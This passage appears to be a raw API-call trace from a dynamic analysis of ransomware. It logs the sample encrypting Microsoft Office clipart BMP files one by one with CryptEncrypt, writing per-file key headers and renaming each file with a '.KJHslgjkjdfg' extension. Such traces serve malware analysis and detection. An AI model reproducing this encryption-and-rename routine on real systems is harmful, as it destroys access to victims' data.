(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.kjhslgjkjdfg")) returned 1 [0162.175] CloseHandle (hObject=0x114) returned 1 [0162.175] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0162.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.176] GetProcessHeap () returned 0x2a0000 [0162.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.176] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.176] GetProcessHeap () returned 0x2a0000 [0162.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.179] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.179] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.179] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.179] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.179] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0162.180] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0162.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.180] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0162.181] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.181] SetEndOfFile (hFile=0x114) returned 1 [0162.183] GetProcessHeap () returned 0x2a0000 [0162.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.183] GetProcessHeap () returned 0x2a0000 [0162.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.kjhslgjkjdfg")) returned 1 [0162.185] CloseHandle (hObject=0x114) returned 1 [0162.185] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0162.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.186] GetProcessHeap () returned 0x2a0000 [0162.186] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.186] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.186] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.188] GetProcessHeap () returned 0x2a0000 [0162.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.188] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.188] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.189] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.189] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.189] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.189] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.190] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.190] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.190] SetEndOfFile (hFile=0x114) returned 1 [0162.193] GetProcessHeap () returned 0x2a0000 [0162.193] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.193] GetProcessHeap () returned 0x2a0000 [0162.193] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.kjhslgjkjdfg")) returned 1 [0162.194] CloseHandle (hObject=0x114) returned 1 [0162.195] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0162.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.196] GetProcessHeap () returned 0x2a0000 [0162.196] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.196] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.196] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.198] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.198] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.198] GetProcessHeap () returned 0x2a0000 [0162.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.198] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.198] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.198] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.199] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.199] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.200] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.200] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.200] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.202] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.202] SetEndOfFile (hFile=0x114) returned 1 [0162.205] GetProcessHeap () returned 0x2a0000 [0162.205] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.205] GetProcessHeap () returned 0x2a0000 [0162.205] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.kjhslgjkjdfg")) returned 1 [0162.206] CloseHandle (hObject=0x114) returned 1 [0162.206] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0162.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.206] GetProcessHeap () returned 0x2a0000 [0162.207] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.207] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.209] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.209] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.209] GetProcessHeap () returned 0x2a0000 [0162.209] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.209] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.209] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.209] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.209] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.209] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.209] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0162.211] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0162.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.211] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0162.211] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.211] SetEndOfFile (hFile=0x114) returned 1 [0162.213] GetProcessHeap () returned 0x2a0000 [0162.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.214] GetProcessHeap () returned 0x2a0000 [0162.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.kjhslgjkjdfg")) returned 1 [0162.215] CloseHandle (hObject=0x114) returned 1 [0162.216] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0162.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.216] GetProcessHeap () returned 0x2a0000 [0162.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 